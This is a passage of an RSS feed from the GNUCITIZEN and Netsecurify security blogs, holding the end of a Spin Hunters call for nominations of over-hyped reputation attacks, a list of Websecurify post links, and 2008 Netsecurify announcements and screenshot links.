<p>Spin Hunters is eager to rate the most popular cases of reputation attacks in the last year. Whether this will be the hysterical speculations over the upcoming election or the intensive rumors about the crush of a big financial institution, it is up to you decide. Therefore if you suspect that some of the current affairs are part of a malicious Black PR plot or you know this for sure, please submit your nominations by <a rel="nofollow" target="_blank" href="http://www.spinhunters.org/contact">emailing us</a>. At the end of the year, we will honor the most over-hyped stories by giving them a special award and public rebuke.</p><p>---<br/>recent posts from the gnucitizen <a rel="nofollow" target="_blank" href="http://www.gnucitizen.net/">cutting-edge network</a>:</p><p><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websecurify-websuite-incidents-php-cgi.html">Websecurify Websuite Incidents (PHP-CGI, CVE-2012-2311)</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-tutorial.html">Websuite Scanner Tutorial</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/this-is-how-we-code.html">This is How We Code</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/retro-websecurify-v04-video.html">Retro Websecurify (v0.4) Video</a><br/><a rel="nofollow" target="_blank" href="http://blog.websecurify.com/2012/05/websuite-scanner-preview-video.html">Websuite Scanner Preview Video</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Netsecurify Screenshots</title>
         <link>http://blog.netsecurify.com/2008/10/netsecurify-screenshots.html</link>
         <description>&lt;p&gt;&lt;a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/24967759@N00/2973268871/"&gt;&lt;img src="http://farm4.static.flickr.com/3277/2973268871_2dabec7f26_s.jpg" alt="Netsecurify Demo 01"/&gt;&lt;/a&gt;&lt;a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/24967759@N00/2973268953/"&gt;&lt;img src="http://farm4.static.flickr.com/3282/2973268953_414ae74eb1_s.jpg" alt="Netsecurify Demo 02"/&gt;  &lt;/a&gt;&lt;a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/24967759@N00/2973269047/"&gt;&lt;img src="http://farm4.static.flickr.com/3022/2973269047_4cecb4f389_s.jpg" alt="Netsecurify Demo 03"/&gt; &lt;/a&gt;&lt;a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/24967759@N00/2974121322/"&gt;&lt;img src="http://farm4.static.flickr.com/3028/2974121322_3620a60988_s.jpg" alt="Netsecurify Demo 04"/&gt; &lt;/a&gt;&lt;a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/24967759@N00/2973269265/"&gt;&lt;img src="http://farm4.static.flickr.com/3202/2973269265_c772ab099c_s.jpg" alt="Netsecurify Demo 05"/&gt; &lt;/a&gt;&lt;a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/24967759@N00/2973269367/"&gt;&lt;img src="http://farm4.static.flickr.com/3050/2973269367_228292baa8_s.jpg" alt="Netsecurify Demo 06"/&gt; &lt;/a&gt;&lt;a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/24967759@N00/2973269501/"&gt;&lt;img src="http://farm4.static.flickr.com/3205/2973269501_7a56264d68_s.jpg" alt="Netsecurify Demo 07"/&gt;&lt;/a&gt;&lt;a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/24967759@N00/2973269655/"&gt;&lt;img src="http://farm4.static.flickr.com/3196/2973269655_bc458c10a4_s.jpg" alt="Netsecurify Demo 08"/&gt; &lt;/a&gt;&lt;a rel="nofollow" target="_blank" href="http://www.flickr.com/photos/24967759@N00/2974121782/"&gt;&lt;img src="http://farm4.static.flickr.com/3185/2974121782_ea4641480f_s.jpg" alt="Netsecurify Demo 09"/&gt; &lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6611345454199592701-533674730817576075?l=blog.netsecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-6611345454199592701.post-533674730817576075</guid>
         <pubDate>Sun, 26 Oct 2008 09:10:00 +0000</pubDate>
         <media:thumbnail height="72" url="http://farm4.static.flickr.com/3277/2973268871_2dabec7f26_t.jpg" width="72" />
      </item>
      <item>
         <title>Try Netsecurify</title>
         <link>http://blog.netsecurify.com/2008/10/try-netsecurify.html</link>
         <description>The Netsecurify service is still in private-beta which means that we are only offering it for free to our friends, our clients and selected members of the public. We are also willing to open it for prime time use to organizations with low security budget, charity organizations and others who might be in need. Please, &lt;a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/contact"&gt;get in touch&lt;/a&gt; with us if you want to try it out.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6611345454199592701-620036889456929733?l=blog.netsecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-6611345454199592701.post-620036889456929733</guid>
         <pubDate>Mon, 20 Oct 2008 13:11:00 +0000</pubDate>
      </item>
      <item>
         <title>Beginning</title>
         <link>http://blog.netsecurify.com/2008/09/beginning.html</link>
         <description>Today is the day. Netsecurify officially launches today.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6611345454199592701-6667434982835171778?l=blog.netsecurify.com' alt=''/&gt;&lt;/div&gt;</description>
         <author>noreply@blogger.com (pdp)</author>
         <guid isPermaLink="false">tag:blogger.com,1999:blog-6611345454199592701.post-6667434982835171778</guid>
         <pubDate>Thu, 11 Sep 2008 12:49:00 +0000</pubDate>
      </item>
   </channel>
</rss><!-- fe5.pipes.sp1.yahoo.com compressed/chunked Mon May 28 07:24:14 UTC 2012 -->

